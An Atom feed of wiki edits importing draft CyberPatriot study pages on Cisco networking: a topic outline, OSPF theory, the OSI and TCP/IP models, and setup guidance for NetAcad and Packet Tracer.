* &#039;&#039;&#039;Forensic Questions&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
Scenario-based questions assessing investigative skills.&lt;br /&gt;
* &#039;&#039;&#039;Local Policies&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
Audit policies, user rights assignments, and security options (e.g., network security, privilege elevation).&lt;br /&gt;
* &#039;&#039;&#039;Operating System Updates&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
Windows updates, service packs, and automatic update settings.&lt;br /&gt;
* &#039;&#039;&#039;Policy Violation: Malware&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
Includes backdoors, remote admin tools, keyloggers, sniffers, etc.&lt;br /&gt;
* &#039;&#039;&#039;Policy Violation: Prohibited Files&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
Unauthorized software archives, confidential files, etc.&lt;br /&gt;
* &#039;&#039;&#039;Policy Violation: Unwanted Software&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
Games, scareware, adware, PUPs, hacking tools, etc.&lt;br /&gt;
* &#039;&#039;&#039;Service Auditing&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
Enable/disable services.&lt;br /&gt;
* &#039;&#039;&#039;Uncategorized OS Settings&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
Remote access, file sharing, screen locking, group policy settings, OS permissions, etc.&lt;br /&gt;
* &#039;&#039;&#039;User Auditing&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
Authorized users, groups, and user-specific settings.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Practice images are available for preparation [https://images.cypat.guide here].&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://en.m.wikipedia.org/wiki/CyberPatriot&lt;br /&gt;
* https://www.uscyberpatriot.org/Pages/Competition/FAQ.aspx&lt;br /&gt;
&lt;br /&gt;
[[Category:General|999 Introduction (General)]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Cisco_Todo&amp;diff=157</id>
		<title>Draft:Cisco Todo</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Cisco_Todo&amp;diff=157"/>
		<updated>2026-09-22T05:42:30Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/cisco/todo (source: docs/cisco/todo.md) --&amp;gt;&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
* What Are Cisco Challenges?&lt;br /&gt;
** What You&#039;re Actually Tested On: Concepts, Configuration, Troubleshooting&lt;br /&gt;
** How It Differs from Windows/Linux Images or Network Security Problems&lt;br /&gt;
* Getting Started&lt;br /&gt;
** Creating a NetAcad Account&lt;br /&gt;
** Joining the Cisco Course&lt;br /&gt;
** Installing and Setting Up Cisco Packet Tracer&lt;br /&gt;
&lt;br /&gt;
== How to Approach Cisco Challenges ==&lt;br /&gt;
&lt;br /&gt;
* Reading the README Efficiently&lt;br /&gt;
* Scripting in Cisco, Explained&lt;br /&gt;
* Top Troubleshooting Techniques&lt;br /&gt;
** &amp;lt;code&amp;gt;ping&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;tracert&amp;lt;/code&amp;gt;, and Basic Connectivity Testing&lt;br /&gt;
** Spotting VLAN Misconfigurations&lt;br /&gt;
** .... more stuff soon&lt;br /&gt;
&lt;br /&gt;
== Cisco Packet Tracer Essentials ==&lt;br /&gt;
&lt;br /&gt;
* Navigating Packet Tracer&lt;br /&gt;
** Logical vs. Physical View&lt;br /&gt;
** Adding/Connecting Devices, Powering Them On&lt;br /&gt;
** Accessing Switch/Router CLIs&lt;br /&gt;
* Cisco CLI Basics&lt;br /&gt;
** Setting Hostname&lt;br /&gt;
** Assigning IP Addresses&lt;br /&gt;
** Setting and Encrypting Passwords&lt;br /&gt;
** Enabling/Disabling Interfaces&lt;br /&gt;
** Saving Configs (RAM vs. NVRAM, &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;copy run start&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
== Core Networking Concepts ==&lt;br /&gt;
&lt;br /&gt;
* What Is a Network?&lt;br /&gt;
** End Devices: PCs, Servers&lt;br /&gt;
** Intermediary Devices: Switches, Routers, Firewalls&lt;br /&gt;
* OSI&lt;br /&gt;
** Key Layers: 1, 2, 3, 4, and 7&lt;br /&gt;
* IP Addressing (Without Crying)&lt;br /&gt;
** Binary Basics for Subnetting&lt;br /&gt;
** IP Classes, Network/Host/Broadcast IDs&lt;br /&gt;
** Subnetting:&lt;br /&gt;
*** FLSM&lt;br /&gt;
*** VLSM&lt;br /&gt;
* Extra Stuff&lt;br /&gt;
** How Switches Forward Frames&lt;br /&gt;
&lt;br /&gt;
== Routing ==&lt;br /&gt;
&lt;br /&gt;
* What Is Routing, Really?&lt;br /&gt;
* Understanding the Routing Table&lt;br /&gt;
** How to Read It&lt;br /&gt;
** How the Router Decides Where to Send Stuff&lt;br /&gt;
* Static Routing&lt;br /&gt;
** Configuration&lt;br /&gt;
** Verification &amp;lt;code&amp;gt;show ip route&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;ping&amp;lt;/code&amp;gt;&lt;br /&gt;
* Dynamic Routing (Later Module)&lt;br /&gt;
** Quick Preview: OSPF&lt;br /&gt;
* EtherChannel (Thank me Later)&lt;br /&gt;
** PAgP&lt;br /&gt;
** LACP&lt;br /&gt;
&lt;br /&gt;
== VLANs ==&lt;br /&gt;
&lt;br /&gt;
* What Are VLANs&lt;br /&gt;
** Types: Access, Trunk, Native, Voice&lt;br /&gt;
** How VLAN Tagging Works&lt;br /&gt;
* Configuring VLANs in CLI&lt;br /&gt;
** Creating VLANs&lt;br /&gt;
** Assigning Ports to VLANs&lt;br /&gt;
** Trunk Ports vs. Access Ports&lt;br /&gt;
** Removing VLANs&lt;br /&gt;
* DTP&lt;br /&gt;
* Inter-VLAN Routing&lt;br /&gt;
** Router-on-a-Stick&lt;br /&gt;
** Multi-Layer Switching&lt;br /&gt;
&lt;br /&gt;
== Secure Shell ==&lt;br /&gt;
&lt;br /&gt;
* Console Port Security&lt;br /&gt;
* Configuring SSH&lt;br /&gt;
&lt;br /&gt;
== NTP ==&lt;br /&gt;
&lt;br /&gt;
== Syslog ==&lt;br /&gt;
&lt;br /&gt;
== DHCPv4 ==&lt;br /&gt;
&lt;br /&gt;
* Concepts (How it works?)&lt;br /&gt;
* Configuration&lt;br /&gt;
** DHCPv4 Server&lt;br /&gt;
** DHCPv4 Client&lt;br /&gt;
&lt;br /&gt;
== OSPF ==&lt;br /&gt;
&lt;br /&gt;
* Foundation (Link-state DB, Areas, Costs, Neighbors &amp;amp;amp; Adjacencies, LSA Types)&lt;br /&gt;
* Configuration&lt;br /&gt;
** Router-ID&lt;br /&gt;
** Activating OSPF on interfaces&lt;br /&gt;
** Passive Interface&lt;br /&gt;
** Advertising default route&lt;br /&gt;
&lt;br /&gt;
== ACL ==&lt;br /&gt;
&lt;br /&gt;
* Concepts (How it works?)&lt;br /&gt;
* Configuration&lt;br /&gt;
** Router-ID&lt;br /&gt;
** Activating OSPF on interfaces&lt;br /&gt;
** Passive Interface&lt;br /&gt;
** Advertising default route&lt;br /&gt;
&lt;br /&gt;
== NAT ==&lt;br /&gt;
&lt;br /&gt;
* Concepts (How it works?)&lt;br /&gt;
* Configuration&lt;br /&gt;
** Static NAT&lt;br /&gt;
** Dynamic NAT&lt;br /&gt;
** Dynamic PAT&lt;br /&gt;
&lt;br /&gt;
[[Category:Cisco|999 Cisco Todo]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Cisco_Guide&amp;diff=156</id>
		<title>Draft:Cisco Guide</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Cisco_Guide&amp;diff=156"/>
		<updated>2026-09-22T05:42:30Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/cisco (source: docs/cisco/README.md) --&amp;gt;&lt;br /&gt;
This Github repository contains the Cisco guides for [https://cypat.guide/ cypat.guide].&lt;br /&gt;
&lt;br /&gt;
[[Category:Cisco|999 Cisco Guide]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:OSPF_Theory&amp;diff=155</id>
		<title>Draft:OSPF Theory</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:OSPF_Theory&amp;diff=155"/>
		<updated>2026-09-22T05:42:30Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/cisco/NetworkingConcepts/OSPF_Theory (source: docs/cisco/NetworkingConcepts/OSPF_Theory.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): Planterian&lt;br /&gt;
&lt;br /&gt;
Last Updated: 5/28/2026&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
Basic Devices in Computer Internetworking&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
OSPF, or Open Shortest Path First, is an algorithm used by routers to find optimum routes between two points on a network. It functions by collecting the cost data of each router connection on the network, as well as the connections of each router. This data is then used in an algorithm known as the Dijkstra Shortest-Path First (SPF) algorithm. Using this algorithm, a router is able to compute the most efficient route for a given packet to reach a destination network. OSPFv2 is the most current version of OSPF for IPv4 networks. OSPFv3 is the version of OSPF used for IPv6 networks.&lt;br /&gt;
&lt;br /&gt;
== Basic Theory ==&lt;br /&gt;
&lt;br /&gt;
The process of OSPF is comprised of several stages. The first stage is the discovery stage, in which all routers send Hello packets to all OSPF enabled ports, and wait for a response from other routers to discover their neighboring routers. This information is compiled for stage 2, at which point routers send out LSA (Link-State Advertisement) packets. These packets contain the state (up or down) and the cost (integer value used to compute efficiency) of the route between the two routers, as well as information about any LAN networks connected to the routers. These LSA packets are forwarded out of other connected ports on routers until all routers in the network have all LSAs in the network. In the next stage, routers build a LSDB (link-State Data Base) containing information from all the LSAs received, which gives the routers a map of the networks topology. The next stage is where the routers execute the SPF algorithm, computing the shortest path to all networks using the cost values and connection data. After this is completed, the data from the algorithm is placed into the routers IP routing table.&lt;br /&gt;
&lt;br /&gt;
After this is done, routers can send LSU (Link-State Update) packets to inform other routers that a connection has been added, removed, or changed, at which point all routers redo the process of calculating optimum routes.&lt;br /&gt;
&lt;br /&gt;
OSPF can be single area, wherein all routers are in the same logical “area” and can more easily connect, or it can be multi area, wherein separate logical areas are used to separate routers from each other. These areas are connected by border routers which exist in 2 or more areas at once, with different ports being in different logical areas. All areas must connect to one common area, usually area 0. Multi area OSPF is used for large networks, as routers in separate areas do not have to recalculate their routing tables when a router in a different area updates its links. As this is a resource intensive process, splitting the network into discrete areas allows administrators to reduce the amount of processing any one router has to do for OSPF.&lt;br /&gt;
&lt;br /&gt;
There are several types of packets employed by the OSPF algorithm: The previously discussed Hello packets and LSA packets, as well as 3 other types. The first is the LSack packet, also known as the Link-State Acknowledgment packet, which is used by routers to acknowledge that they have received a packet from a received router. For example, a router sends a LSA packet and receives an LSack packet in return after the other router has received the LSA packet. The second type is the DBD (Data Base Description) packet, which is requested by routers from other routers periodically and contains a shortened copy of the requested routers OSPF routing database. This is done to check against the requesting routers own database to ensure they are identical, as this is necessary for proper routing. If there is a discrepancy detected, the router may send an LSR (Link-State Request) packet, which requests info on a specific link in the requested routers database. After an LSR is sent, the requested router can send an LSU (Link-State Update) packet with the requested link information.&lt;br /&gt;
&lt;br /&gt;
A Router ID is a specific number attributed to a specific router that is used in the setup process. It identifies the router, while also assisting in deciding which router transmits its list first during setup. The router with the highest ID will be the first to send its info to other routers. If no ID is set up by an administrator, the ID will be automatically chosen. First, the router will check for any loop-back interfaces. If one exists, the IP of that interface will be used as the ID. If none exist, the highest configured IP on the router will be used.&lt;br /&gt;
&lt;br /&gt;
== OSPF States ==&lt;br /&gt;
&lt;br /&gt;
There are 7 states within the OSPF algorithm that any port can be in. These are cycled through during the OSPF setup process.&lt;br /&gt;
&lt;br /&gt;
The first state is the Down state. This state occurs when the router has yet to receive any Hello packets. In this state, the router tries sending Hello packets, and listens for any coming in. Once a Hello packet is received, it transitions to the next state.&lt;br /&gt;
&lt;br /&gt;
The second state is the Init state. The Init state (or initialization state) occurs directly after a Hello packet is received. The Hello packet will contain the router ID of the sending router, and the receiving router quickly transitions into the next state.&lt;br /&gt;
&lt;br /&gt;
The third state is the Two-Way state. In this state, bi-directional communication between the two routers is set up. In configurations where a DR and BDR are required, this is where they are elected. The routers then transition to the next state.&lt;br /&gt;
&lt;br /&gt;
The fourth state is the ExStart state. In this state, the routers will decide who will be first in sending their LSA or DBD packets, and protocol information for sending of said packets such as sequence numbers is configured. The routers move to the next state.&lt;br /&gt;
&lt;br /&gt;
The fifth state is the Exchange state. In this state, the routers exchange DBD or LSA packets. If more information is needed, transition to the 6th state. If everything seems correct, transition to the 7th state.&lt;br /&gt;
&lt;br /&gt;
The sixth state is the Loading state. In this state, routers exchange LSR and LSU packets. This is done to fix discrepancies in DBD exchanges. After all discrepancies are fixed, transition to the next state.&lt;br /&gt;
&lt;br /&gt;
The final seventh state is the Full state. At this point, the routers are fully configured and begin normal operation.&lt;br /&gt;
&lt;br /&gt;
== Designated and Backup Designated Routers ==&lt;br /&gt;
&lt;br /&gt;
In large multi-access networks (networks where multiple routers are connected by multiple links), it can become an issue when every router sends out their own LSA. The number of LSA packets on the network can quickly balloon and cause traffic issues on the network. Due to this, large networks are configured to elect Designated Routers (DR) and Backup Designated Routers (BDR). These routers, elected for either having the best connection to the other routers or manually configured by an administrator, serve to mitigate the amount of LSAs on a network during setup. The process is as such: in a standard network, a router sends out its LSAs to all other routers it has access to, at which point all other routers send their LSAs to all other routers. In a DR enabled network, the first router only sends its LSA to the DR, and the DR will send the LSA to all other routers. Other routers will not respond to the LSA by flooding other routers with theirs. the BDR is elected as the second-best option, and used if the DR is offline or otherwise unavailable. All other routers on the network are configured at DROTHER (Designated Router Other). Note that routers will still use their routing table for the forwarding of standard packets, and DRs are only used for LSA packets.&lt;br /&gt;
&lt;br /&gt;
The election process for a DR or BDR goes as follows: All routers have an interface priority value. The standard value is 1, with a max of 255. The router with the highest priority is elected as DR, and the second highest is elected as BDR. These numbers must be manually set by the system administrator. If all routers have a priority value of one, tie breaking methods must be used. A priority of 0 means that the router cannot be elected to DR or BDR. To do tie breaking, the routers use router ID. The router with the highest router ID is elected as DR, and so forth.&lt;br /&gt;
&lt;br /&gt;
If a DR exits the network, the BDR becomes the DR and the third highest valued router is elected to BDR. If the previous DR then re-enters the network, it becomes a DROTHER even if its value is higher than the current DR. This persists until OSPF is recalculated or reset. The original DR cannot be elected to DR or BDR until the OSPF is recalculated or reset.&lt;br /&gt;
&lt;br /&gt;
== OSPF Cost ==&lt;br /&gt;
&lt;br /&gt;
The cost value is used by OSPF protocol to find optimum routes for packet travel. There are two ways a cost value is determined. The first is an administrator setting the cost manually to a selected value through CLI. The second is preformed when no manual value is given. The cost value is calculated by taking the reference bandwidth, typically 10^8, and dividing it by the bandwidth of the route in bits per second (bps). If the interface bandwidth is greater than the reference bandwidth, the value is capped at 1. The reference bandwidth can be changed via CLI. The reference bandwidth should be the same on all routers to ensure the algorithm works as intended. The reference should be adjusted whenever there is a bandwidth greater than Fast Ethernet (such as Gigabit Ethernet)&lt;br /&gt;
&lt;br /&gt;
== Default routes ==&lt;br /&gt;
&lt;br /&gt;
The default route in OSPF networks is used to connect OSPF networks to non-OSPF networks such as the IoT. This is done so that all devices on the OSPF network know how to reach the wider internet. To configure a default route, 2 things must occur. First, a default static route must be configured to the given interface per standard protocol, with mask 0.0.0.0. Then, the OSPF of the router must be configured to originate the default route to the network.&lt;br /&gt;
&lt;br /&gt;
[[Category:Cisco Networking Concepts|037]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:OSI_and_TCP/IP_Networking_Models&amp;diff=154</id>
		<title>Draft:OSI and TCP/IP Networking Models</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:OSI_and_TCP/IP_Networking_Models&amp;diff=154"/>
		<updated>2026-09-22T05:42:30Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/cisco/NetworkingConcepts/osi_tcpip (source: docs/cisco/NetworkingConcepts/osi_tcpip.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): a_person&lt;br /&gt;
&lt;br /&gt;
Last Updated: 11/27/2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Networking models categorize and provide a structure for networking protocols and standards. There are 2 main networking models for network communication: the OSI model and TCP/IP model.&lt;br /&gt;
&lt;br /&gt;
== The OSI Model ==&lt;br /&gt;
&lt;br /&gt;
The Open Systems Interconnection (OSI) model, developed by the ISO, categorizes network functions into seven layers.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Physical&#039;&#039;&#039; - This layer describes the mechanical, electrical, and functional methods to start and maintain physical connections for bit transmission.&lt;br /&gt;
# &#039;&#039;&#039;Data Link&#039;&#039;&#039; - This layer defines how data is formatted and exchanged for transmission over physical medium. It may also detects errors and manages node-to-node delivery.&lt;br /&gt;
# &#039;&#039;&#039;Network&#039;&#039;&#039; - This layer provides connectivity between end hosts on different networks. It uses logical addressing (IP Addressing), and provides path selection. Routers operate on this layer.&lt;br /&gt;
# &#039;&#039;&#039;Transport&#039;&#039;&#039; - This layer segments(takes large data and makes it smaller) and reassembles data as well as defines how data should be transfered for individual communication between end devices. This causes there to likely be less problems.&lt;br /&gt;
# &#039;&#039;&#039;Session&#039;&#039;&#039; - This layer establishes, manages, and terminates connections between local application and the remote application.&lt;br /&gt;
# &#039;&#039;&#039;Presentation&#039;&#039;&#039; - This layer formats the data to the appropriate format to be sent over the network.&lt;br /&gt;
# &#039;&#039;&#039;Application&#039;&#039;&#039; - This layer is used in software and identifies communication partners and synchronizes communication.&lt;br /&gt;
&lt;br /&gt;
== The TCP/IP Model ==&lt;br /&gt;
&lt;br /&gt;
The TCP/IP model was created by the US Department of Defense and maintained by the IETF. Unlike the OSI model, the TCP/IP model is divided into 4 layers, and matches closely how modern networks actually work.&lt;br /&gt;
&lt;br /&gt;
=== The 4 Layers of TCP/IP ===&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Network Access&#039;&#039;&#039; - Maps to physical and data link layers of the OSI model.&lt;br /&gt;
# &#039;&#039;&#039;Internet&#039;&#039;&#039; - Directly maps to network layer of the OSI model.&lt;br /&gt;
# &#039;&#039;&#039;Transport&#039;&#039;&#039; - Directly maps to the transport layer of the OSI model.&lt;br /&gt;
# &#039;&#039;&#039;Application&#039;&#039;&#039; - Maps to the application, presentation, and session layers of the OSI model.&lt;br /&gt;
&lt;br /&gt;
== Comparison of OSI and TCP/IP ==&lt;br /&gt;
&lt;br /&gt;
While both models describe data communication, they organize layers differently. The TCP/IP model is the standard for the modern internet. However, the OSI model is often used as a reference for troubleshooting and education. [https://itexamanswers.net/wp-content/uploads/2020/05/OSI-and-TCP-IP-Model-Comparison.jpg Diagram (external image)]&lt;br /&gt;
&lt;br /&gt;
== Data Encapsulation and PDUs ==&lt;br /&gt;
&lt;br /&gt;
As data moves from the application layer to the physical layer for transmission, it goes through encapsulation. Protocol information is added at each level. The form that a piece of data takes at any layer is called a Protocol Data Unit (PDU).&lt;br /&gt;
&lt;br /&gt;
The PDU naming convention follows the TCP/IP suite:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data&#039;&#039;&#039; - This is the general term for the PDU at the &#039;&#039;&#039;Application Layer&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Segment:&#039;&#039;&#039; - This is the PDU at the &#039;&#039;&#039;Transport Layer&#039;&#039;&#039; (when using TCP). The protocol adds sequencing and port information.&lt;br /&gt;
* &#039;&#039;&#039;Packet&#039;&#039;&#039; - This is the PDU at the &#039;&#039;&#039;Internet/Network Layer&#039;&#039;&#039;. The protocol adds source and destination IP addresses.&lt;br /&gt;
* &#039;&#039;&#039;Frame&#039;&#039;&#039; - This is the PDU at the &#039;&#039;&#039;Network Access/Data Link Layer&#039;&#039;&#039;. The protocol adds source and destination physical (MAC) addresses.&lt;br /&gt;
* &#039;&#039;&#039;Bits&#039;&#039;&#039; - This is the PDU at the &#039;&#039;&#039;Physical Layer&#039;&#039;&#039;, representing the data physically transmitted over the medium.&lt;br /&gt;
&lt;br /&gt;
[https://itexamanswers.net/wp-content/uploads/2020/05/Protocol-Data-Units.jpg Diagram (external image)]&lt;br /&gt;
&lt;br /&gt;
When the receiving host gets the stream of bits, it reverses the process of de-encapsulation. It removes headers layer by layer as the data moves up the stack toward the end-user application.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== Labs ===&lt;br /&gt;
&lt;br /&gt;
* [https://drive.google.com/file/d/1pZvsm3f3xxsdEUjjP0VZvGFRBvsy6Jnr/view?usp=sharing CCNA Lab Day 3 (JIT)]&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== References, Further Reading ===&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=t-ai8JzhHuY&amp;amp;list=PLxbwE86jKRgMpuZuLBivzlM8s2Dk5lXBQ&amp;amp;index=6&lt;br /&gt;
* https://www.geeksforgeeks.org/computer-networks/difference-between-osi-model-and-tcp-ip-model/&lt;br /&gt;
&lt;br /&gt;
[[Category:Cisco Networking Concepts|036]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Introduction_(Cisco)&amp;diff=153</id>
		<title>Draft:Introduction (Cisco)</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Introduction_(Cisco)&amp;diff=153"/>
		<updated>2026-09-22T05:42:30Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/cisco/Introduction/WhatIsCisco (source: docs/cisco/Introduction/WhatIsCisco.md) --&amp;gt;&lt;br /&gt;
Welcome to the Cisco Networking Challenges section in this guide. Whether you&#039;re doing Cisco voluntarily (or under duress), I hope this guide proves helpful.&lt;br /&gt;
&lt;br /&gt;
=== So what is Cisco? ===&lt;br /&gt;
&lt;br /&gt;
Put simply, Cisco is a major tech company that specializes in networking gear, software, and communication tools. They develop and supply a variety of products &amp;amp;amp; services like routers, switches, cloud platforms, security solutions, and collaboration systems. Their main focus is helping organizations set up, operate, and protect their digital networks. Cisco is a sponsor of some major CyberSecurity competitions, which gives them the opportunity to present their software and systems as challenges in competition rounds.&lt;br /&gt;
&lt;br /&gt;
=== What is the Cisco Networking Challenge? ===&lt;br /&gt;
&lt;br /&gt;
The Cisco Networking Challenge includes two parts: an online quiz and a hands-on virtual networking activity based on specific training materials.&lt;br /&gt;
&lt;br /&gt;
The virtual networking challenge takes place in the Cisco Packet Tracer software, which emulates an actual network with devices that can be configured via GUI or CLI. Competitors will typically use the CLI to input commands that change the settings of devices based on intructions provided in the README of the challenge. The quiz section takes place on the Netacad platform, which is the utility provided by Cisco to learn the content needed to participate in the Cisco Networking Challenge and where the challenge itself is held. The quiz usually consists of 10 multiple choice questions over networking concepts.&lt;br /&gt;
&lt;br /&gt;
This part is very different from the Network Security Challenges or Images. Instead of searching for and fixing security issues on a computer system, you&#039;re actually building and configuring a network.&lt;br /&gt;
&lt;br /&gt;
[[Category:Cisco Introduction|034]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Getting_Started&amp;diff=152</id>
		<title>Draft:Getting Started</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Getting_Started&amp;diff=152"/>
		<updated>2026-09-22T05:42:30Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/cisco/Introduction/GettingStarted (source: docs/cisco/Introduction/GettingStarted.md) --&amp;gt;&lt;br /&gt;
One of the best things about competitions centering around Cisco is that the topics covered during rounds of the competition are typically stated before the competition begins. Generally, the website of the competition will state what modules of the Cisco NetAcad course will be covered during play. These modules&#039; information comes from the Cisco Content Course, which your coach should give you access to. Before jumping in, you&#039;ll first need to create a Cisco Networking Academy (NetAcad) account.&lt;br /&gt;
&lt;br /&gt;
=== Creating a Netacad Account ===&lt;br /&gt;
&lt;br /&gt;
To get started, go to the [https://www.netacad.com/ Cisco Networking Academy website] and create an account. After that, your coach should give you a link to join the Content Course, which contains the training modules used to prepare for the Cisco Challenges in each round. Make sure not to share this course with anyone who isn’t part of your competition.&lt;br /&gt;
&lt;br /&gt;
In addition to the Content Course, there is also a Competition Course. This is where you’ll access the actual competition materials—- more specifically, the multiple-choice quiz and the hands-on virtual networking exercise. This course uses a separate account or login, and your coach will provide the credentials for it.&lt;br /&gt;
&lt;br /&gt;
Sources (ig): https://www.uscyberpatriot.org/competition/training-materials/cisco&lt;br /&gt;
&lt;br /&gt;
=== Installing Packet Tracer ===&lt;br /&gt;
&lt;br /&gt;
The hands-on virtual networking exercise portion of the Cisco Network Challenge will require you to use Packet Tracer to open the file and finish the portion. You can install the latest version of Cisco Packet Tracer [https://www.netacad.com/resources/lab-downloads?courseLang=en-US here]. Make sure you are logged in before you can download and install Packet Tracer on your device. Note that some competitions may use an older version of Packet Tracer. You should always verify the specific version of Packet Tracer with information on the competition website.&lt;br /&gt;
&lt;br /&gt;
=== What is Cisco Packet Tracer? ===&lt;br /&gt;
&lt;br /&gt;
You’ll learn more about Cisco Packet Tracer as you go through this guide, but put simply, it’s a network simulation tool created by Cisco. It allows you to build and configure virtual network topologies, simulate how devices behave, and test out different network protocols all without needing any physical Cisco hardware. You’ll use this both for learning and competing.&lt;br /&gt;
&lt;br /&gt;
[[Category:Cisco Introduction|035]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Basic_Devices_in_Computer_Internetworking&amp;diff=151</id>
		<title>Draft:Basic Devices in Computer Internetworking</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Basic_Devices_in_Computer_Internetworking&amp;diff=151"/>
		<updated>2026-09-22T05:42:30Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/cisco/Cisco Packet Tracer/Introduction_Devices (source: docs/cisco/Cisco Packet Tracer/Introduction_Devices.md) --&amp;gt;&lt;br /&gt;
Author(s): RenzielMiner&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-29-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
